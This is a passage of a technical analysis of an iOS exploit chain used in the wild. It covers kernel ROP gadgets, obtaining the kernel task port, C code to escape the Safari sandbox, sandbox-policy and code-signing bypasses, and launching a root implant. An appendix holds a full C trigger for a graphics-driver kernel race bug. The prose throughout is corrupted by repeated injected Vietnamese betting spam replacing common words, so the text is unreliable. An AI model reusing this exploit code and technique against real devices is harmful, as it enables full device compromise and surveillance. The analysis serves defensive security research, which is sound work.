CMP   W8, W22                  ; w22 == 0?
B.LS  loc_FFFFFFF0064BFD94     ; not taken
LDR   X8, [X19,#0x120]         ; x8 := &this+0x1f8
LDR   X0, [X8,W22,UXTW#3]      ; x0 := &this+0x1b0
CBZ   X0, loc_FFFFFFF0064BFD94 ; not taken
BL    sub_FFFFFFF0064BA758

Execution continues here:


sub_FFFFFFF0064BA758
LDR   X0, [X0,#0x40]           ; X0 := *this+0x1f0 = &this+0x1a0
LDR   X8, [X0]                 ; X8 := this
LDR   X1, [X8,#0x1E8]          ; X1 := kernel_base + offsets_9
BR    X1                   ; jump to offsets_9 gadget

They'll get arbitrary kernel PC control initially at offsets_9; which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following gadget:


LDR   X2, [X8,#0xA8]           ; X2 := kernel_base + offsets_10
LDR   X1, [X0,#0x40]           ; X1 := *(this+0x1e0)
                               ; The value at that address is a pointer
                               ; to 0x58 bytes below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port
                               ; pointer inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task structure
BR    X2                   ; jump to offsets_10 gadget

This loads a new, controlled value in to X1 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n jumps to offsets_10 gadget:
This is OSSerializer::serialize:

MOV   X8, X1             ; address of pointer to kernel_task_port-0x58
LDP   X1, X3, [X0,#0x18] ; X1 := *(this+0x1b8) == &task->itk_seatbelt
                         ; X3 := *(this+0x1c0) == kbase + offsets_11
LDR   X9, [X0,#0x10]     ; ignored
MOV   X0, X9
MOV   X2, X8             ; address of pointer to kernel_task_port-0x58
BR    X3             ; jump to offsets_11 gadget

offsets_11 is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n a pointer to this gadget:


LDR   X8, [X8,#0x58] ; X8:= kernel_task_port
                     ; that's an arbitrary read
MOV   W0, #0
STR   X8, [X1]       ; task->itk_seatbelt := kernel_task_port
                     ; that's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 arbitrary write
RET                  ; all done!

This gadget reads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address stored in X8 plus 0x58, and writes that to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address stored in X1. The previous gadgets gave complete control of those two registers, meaning this gadget is giving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to read a value from an arbitrary address and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n write that value to an arbitrary address. The address cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y chose to read from is a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y chose to write to points into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current task's special ports array. This read and write has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effect of giving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current task cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to get a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real kernel task port by calling:


  task_get_special_port(mach_task_self(), TASK_SEATBELT_PORT, &tfp0);

That's exactly what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do next, and that tfp0 mach port is a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real kernel task port, allowing arbitrary kernel memory read/write via task port MIG methods like mach_vm_read and mach_vm_write.

What to do with a kernel task port?

They use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allprocs offset to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 head of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 linked list of running processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n iterate through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list looking for two processes by PID:

void PE1_unsandbox() {
  char struct_proc[512] = {0};

  if (offset_allproc)
  {
    uint64_t launchd_ucred = 0;
    uint64_t our_struct_proc = 0;

    uint64_t allproc = kernel_runtime_base + offset_allproc;
    uint64_t proc = kread64(allproc);

    do {
      kread_overwrite(proc, struct_proc, 0x48);

      uint32_t pid = *(uint32_t*)(struct_proc + 0x10);

      if (pid == 1) { // launchd has pid 1
        launchd_ucred = *(_QWORD *)&struct_proc[0x100];
      }

      if ( getpid() == pid ) {
        our_struct_proc = proc;
      }

      if (our_struct_proc && launchd_ucred) {
        break;
      }

      proc = *(uint64_t*)(struct_proc+0x0);
      if (!proc) {
        break;
      }
    } while (proc != allproc && pid);

    // unsandbox cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves
    kwrite64(our_struct_proc + 0x100, launchd_ucred);
  }
}

They're looking for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proc structures for launchd and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current task (which is WebContent, running in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Safari renderer sandbox.) From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proc structure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pid as well as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ucred pointer.

As well as containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 POSIX credentials (which define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uid, gid and so on) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ucred also contains a pointer to a MAC label, which is used to define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandbox which is applied to a process.

Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel memory write cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current tasks's ucreds pointer with launchd's.  This has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effect of unsandboxing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process; giving it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system as launchd.

There are two more hurdles to overcome before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're able to launch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implant: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy and code-signing.

Platform policy

Every process on iOS restricted by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy sandbox profile; it enforces an extra layer of "system wide" sandboxing. The platform policy bytecode itself lies in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 __const region of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.apple.security.sandbox.kext and is thus protected by KPP or KTRR. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy bytecode resides in a structure allocated via IOMalloc, and is thus in writable memory. The attackers make a complete copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy bytecode and replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap-allocated structure with a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 copy. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 copy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y patch out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process-exec and process-exec-interpreter hooks; here's a diff of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 decompiled policies (generated with sandblaster):

    (require-not (global-name "com.apple.PowerManagement.control"))
    (require-not (global-name "com.apple.FileCoordination"))
    (require-not (global-name "com.apple.FSEvents"))))
-   (deny process-exec*
-    (require-all
-     (require-all
       (require-not 
         (subpath "/private/var/run/com.apple.xpcproxy.RoleAccount.staging"))
-      (require-not (literal "/private/var/factory_mount/"))
-      (require-not (subpath "/private/var/containers/Bundle"))
-      (require-not (literal "/private/var/personalized_automation/"))
-      (require-not (literal "/private/var/personalized_factory/"))
-      (require-not (literal "/private/var/personalized_demo/"))
-      (require-not (literal "/private/var/personalized_debug/"))
-      (require-not (literal "/Developer/")))
-     (subpath "/private/var")
-     (require-not (debug-mode))))
-   (deny process-exec-interpreter
-    (require-all
-     (require-not (debug-mode))
-     (require-all (require-not (literal "/bin/sh"))
-      (require-not (literal "/bin/bash"))
-      (require-not (literal "/usr/bin/perl"))
-      (require-not (literal "/usr/local/bin/scripter"))
-      (require-not (literal "/usr/local/bin/luatrace"))
-      (require-not (literal "/usr/sbin/dtrace")))))
    (deny system-kext-query
     (require-not (require-entitlement "com.apple.private.kernel.get-kext-info")))
    (deny system-privilege

As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy changes over time cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir platform policy bytecode patches become more elaborate but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fundamental idea remains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same.

Code signing bypass

Jailbreaks typically bypass iOS's mandatory code signing by making changes to amfid (Apple Mobile File Integrity Daemon) which is a userspace daemon responsible for verifying code signatures. An example of an early form of such a change was to modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amfid GOT such that a function which was called to verify a signature (MISValidateSignature) was replaced with a call to a function which always returned 0; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365reby allowing all signatures, even those which were invalid.

There's anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r approach though, which has been used increasingly by recent jailbreaks. The kernel also contains an array of known-trusted hashes. These are hashes of code-signature blobs (also known as CDHashes) which are to be implicitly trusted. This design makes sense because those hashes will be part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel's code signature; thus still tied to Apple's root-of-trust.

The weakness, given an attacker with kernel memory read write, is that this trust cache data-structure is mutable. There are occasions when more hashes will be added to it at runtime. It's modified, for example, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DeveloperDiskImage.dmg is mounted on an iPhone if you do app development. During app development native tools like lldb-server which run on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir code-signature blob hashes added to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trust cache. 

Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers only wish to execute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implant binary and not disable code-signing system wide, it suffices to simply add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implant's code-signing blob to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel dynamic trust cache, which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port.

Launching implant

The final stage is to drop and spawn cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant binary. They do this by writing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant Mach-O to disk under /tmp, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n calling posix_spawn to execute it:

  FILE* f = fopen("/tmp/updateserver", "w+");
  if (f) {
    fwrite(buf, 1, buf_size, f);
    fclose(f);
    chmod("/tmp/updateserver", 0755);
    pid_t pid = 0;
    char* argv[] = {"/tmp/updateserver", NULL};
    posix_spawn(&pid,
                "/tmp/updateserver",
                NULL,
                NULL,
                &argv,
                environ);
  }

This immediately starts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant running as root. The implant will remain running until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device is rebooted, communicating every 60 seconds with a command-and-control server asking for instructions for what information to steal from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device. We'll cover cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete functionality of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant in a later post.

Appendix A

Trigger for variant

By undefining IS_12_B1 you will get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial trigger.
The create_shmem selector changed from 6 to 5 in iOS 11. The unpatched variant was still present in iOS 12 beta 1 but no longer reproduces in 12.1.1. It does reproduce on at least 11.1.2, 11.3.1 and 11.4.1.

#include
#include
#include
#include

#include
#include

#include "command_buffers.h"

typedef mach_port_t task_port_t;
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;

extern
const mach_port_t kIOMasterPortDefault;

kern_return_t
IOServiceOpen(
              io_service_t    service,
              task_port_t     owningTask,
              uint32_t        type,
              io_connect_t  * connect );

CFMutableDictionaryRef
IOServiceMatching(
                  const char *    name ) CF_RETURNS_RETAINED;

io_service_t
IOServiceGetMatchingService(
                            mach_port_t     masterPort,
                            CFDictionaryRef matching CF_RELEASES_ARGUMENT);

kern_return_t
IOConnectCallMethod(
                    mach_port_t      connection,       // In
                    uint32_t         selector,       // In
                    const uint64_t  *input,         // In
                    uint32_t         inputCnt,       // In
                    const void      *inputStruct,         // In
                    size_t           inputStructCnt,       // In
                    uint64_t        *output,         // Out
                    uint32_t        *outputCnt,         // In/Out
                    void            *outputStruct,         // Out
                    size_t          *outputStructCnt);      // In/Out

kern_return_t
IOConnectCallAsyncMethod(
                         mach_port_t      connection,       // In
                         uint32_t         selector,       // In
                         mach_port_t      wake_port,       // In
                         uint64_t        *reference,         // In
                         uint32_t         referenceCnt,       // In
                         const uint64_t  *input,         // In
                         uint32_t         inputCnt,       // In
                         const void      *inputStruct,         // In
                         size_t           inputStructCnt,       // In
                         uint64_t        *output,         // Out
                         uint32_t        *outputCnt,         // In/Out
                         void            *outputStruct,         // Out
                         size_t          *outputStructCnt);      // In/Out

typedef struct IONotificationPort * IONotificationPortRef;

IONotificationPortRef
IONotificationPortCreate(
                         mach_port_t             masterPort );

mach_port_t
IONotificationPortGetMachPort(
                              IONotificationPortRef   notify );

kern_return_t
IOConnectAddClient(
                   io_connect_t    connect,
                   io_connect_t    client );



#define IS_12_B1 1

#ifdef IS_12_B1
#define AGX_SHARED_CREATE_SHMEM 5
#else
#define AGX_SHARED_CREATE_SHMEM 6
#endif
struct agx_shared_create_shmem_struct_out {
  void* base;
  uint32_t size;
  uint32_t id;
};

struct submit_command_buffers_struct_input {
  uint32_t field_0;
  uint32_t field_1;
  uint32_t resource_id_0;
  uint32_t resource_id_1;
  uint64_t field_4;
  uint64_t field_5;
};

struct async_reference {
  mach_port_t port;
  void(*fptr)(void);
  uint64_t something;
};

void null_sub(void) {return;};

void* IOSurfaceCreate(void*);
uint32_t IOSurfaceGetID(void*);

uint32_t allocate_global_iosurface_and_return_id() {
  CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
  int alloc_size_raw_value = 1024;
  CFNumberRef alloc_size_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size_raw_value);
  
  CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), alloc_size_cfnum);
  CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
  
  int pixel_format_raw_value = 0;
  CFNumberRef pixel_format_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &pixel_format_raw_value);
  CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), pixel_format_cfnum);
  
  void* iosurface = IOSurfaceCreate(dict);
  if (iosurface == NULL) {
    printf("failed to create IOSurface\n");
    return 0;
  }
  printf("allocated IOSurface: %p\n", iosurface);
  
  uint32_t id = IOSurfaceGetID(iosurface);
  printf("id: 0x%x\n", id);
  return id;
}

void* racer_thread(void* arg) {
  volatile uint32_t* ptr = arg;
  uint32_t orig = *ptr;
  printf("racing, original value: %d\n", orig);
  while (1) {
    *ptr = 0x40;
    *ptr = orig;
  }
  return NULL;
}

void do_it(void) {
  kern_return_t err;
    
  io_service_t agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
  if (agx_service == MACH_PORT_NULL) {
    printf("failed to get service port\n");
    return;
  }
  printf("got service: %x\n", agx_service);
  
  io_connect_t shared_user_client_conn = MACH_PORT_NULL;
  
  err = IOServiceOpen(agx_service, mach_task_self(), 2, &shared_user_client_conn);
  if (err != KERN_SUCCESS) {
    printf("open of type 2 failed\n");
    return;
  }
  printf("got connection: 0x%x\n", shared_user_client_conn);
  
  // allocate two shmem's:
  uint64_t shmem_size = 0x1000;
  struct agx_shared_create_shmem_struct_out shmem0_desc = {0};
  size_t shmem_result_size = sizeof(shmem0_desc);
  err = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem0_desc, &shmem_result_size);
  if (err != KERN_SUCCESS) {
    printf("external method create_shmem failed: 0x%x\n", err);
    return;
  }
  printf("create shmem success!\n");
  printf("base: %p size: 0x%x id: 0x%x\n", shmem0_desc.base, shmem0_desc.size, shmem0_desc.id);
  
  memset(shmem0_desc.base, 0, shmem0_desc.size);
  
  shmem_size = 0x1000;
  struct agx_shared_create_shmem_struct_out shmem1_desc = {0};
  err = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem1_desc, &shmem_result_size);
  if (err != KERN_SUCCESS) {
    printf("external method create_shmem failed: 0x%x\n", err);
    return;
  }
  printf("create shmem success!\n");
  printf("base: %p size: 0x%x id: 0x%x\n", shmem1_desc.base, shmem1_desc.size, shmem1_desc.id);
  
  IONotificationPortRef notification_port_ref = IONotificationPortCreate(kIOMasterPortDefault);
  mach_port_t notification_port_mach_port = IONotificationPortGetMachPort(notification_port_ref);
  
  io_connect_t agx_command_queue_userclient = MACH_PORT_NULL;
  err = IOServiceOpen(agx_service, mach_task_self(), 5, &agx_command_queue_userclient);
  if (err != KERN_SUCCESS) {
    printf("failed to open type 5\n");
    return;
  }
  printf("got agx command queue user client: 0x%x\n", agx_command_queue_userclient);
  
  err = IOConnectAddClient(agx_command_queue_userclient, shared_user_client_conn);
  if (err != KERN_SUCCESS) {
    printf("failed to connect command queue and shared user client: 0x%x\n", err);
    return;
  }
  printf("connected command queue\n");
  
  struct async_reference async_ref = {0};
  async_ref.port = notification_port_mach_port;
  async_ref.fptr = null_sub;
  
  
  err = IOConnectCallAsyncMethod(agx_command_queue_userclient, 0, notification_port_mach_port, (uint64_t*)&async_ref, 1, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
  if (err != KERN_SUCCESS) {
    printf("failed to call async selector 0\n");
    return ;
  }
  
  printf("called async selector 0\n");

  for (int loop = 0; loop < 20; loop++) {
    uint32_t global_surface_id = allocate_global_iosurface_and_return_id();
    
    // create a resource with that:
    uint8_t* input_buf = calloc(1, 1024);
    *((uint32_t*)(input_buf+0)) = 0x82;
    *((uint32_t*)(input_buf+0x18)) = 1;
    *((uint32_t*)(input_buf+0x30)) = global_surface_id;

    
    uint8_t* output_buf = calloc(1, 1024);
    
    size_t output_buffer_size = 1024;
    
    err = IOConnectCallMethod(shared_user_client_conn, 0, NULL, 0, input_buf, 1024, NULL, 0, output_buf, &output_buffer_size);
    if (err != KERN_SUCCESS) {
      printf("new_resource failed: 0x%x\n", err);
      return;
    }
    printf("new_resource success!\n");
    
    // try to build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command buffer structure:
#ifdef IS_12_B1
    int target_size = 0x200;
#else
    int target_size = 0x800;
#endif
    int n_entries = target_size / 0x30;
    
    uint8_t* cmd_buf = (uint8_t*)shmem1_desc.base;
    
    *((uint32_t*)(cmd_buf+0x8)) = 1;
    *((uint32_t*)(cmd_buf+0x24)) = n_entries; // n_entries??
    
#ifdef IS_12_B1
    if (loop == 0) {
      pthread_t th;
      pthread_create(&th, NULL, racer_thread, (cmd_buf+0x24));
      usleep(50*1024);
    }
#endif

    
    int something = (target_size+8) % 0x30 / 8;

#ifdef IS_12_B1
    for (int i = 0; i < n_entries+20; i++) {
#else
    for (int i = 0; i < n_entries; i++) {
#endif
      uint8_t* base = cmd_buf + 0x28 + (i*0x40);
      for (int j = 0; j < 7; j++) {
        *((uint32_t*)(base+(j*4))) = 3; // resource_id?
        *((uint16_t*)(base+(0x30)+(j*2))) = 1;
      }
      if (i > something) {
        *((uint16_t*)(base+0x3e)) = 6;
      } else {
#ifdef IS_12_B1
        // this is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow we're targeting here
        *((uint16_t*)(base+0x3e)) = 6;
#else
        *((uint16_t*)(base+0x3e)) = 7;
#endif
      }
    }
    
    struct submit_command_buffers_struct_input cmd_in = {0};
    cmd_in.field_1 = 1;
    cmd_in.resource_id_0 = shmem0_desc.id; // 1
    cmd_in.resource_id_1 = shmem1_desc.id; // 2
    
    // s_submit_command_buffers:
    err = IOConnectCallMethod(agx_command_queue_userclient, 1, NULL, 0, &cmd_in, sizeof(cmd_in), NULL, NULL, NULL, NULL);
    
    printf("s_submit_command_buffers returned: %x\n", err);

    // delete_resource:
    uint64_t three = 3;
    err = IOConnectCallMethod(shared_user_client_conn, 1, &three, 1, NULL, 0, NULL, NULL, NULL, NULL);
    printf("delete_resource returned: %x\n", err);
    
    //
  }
}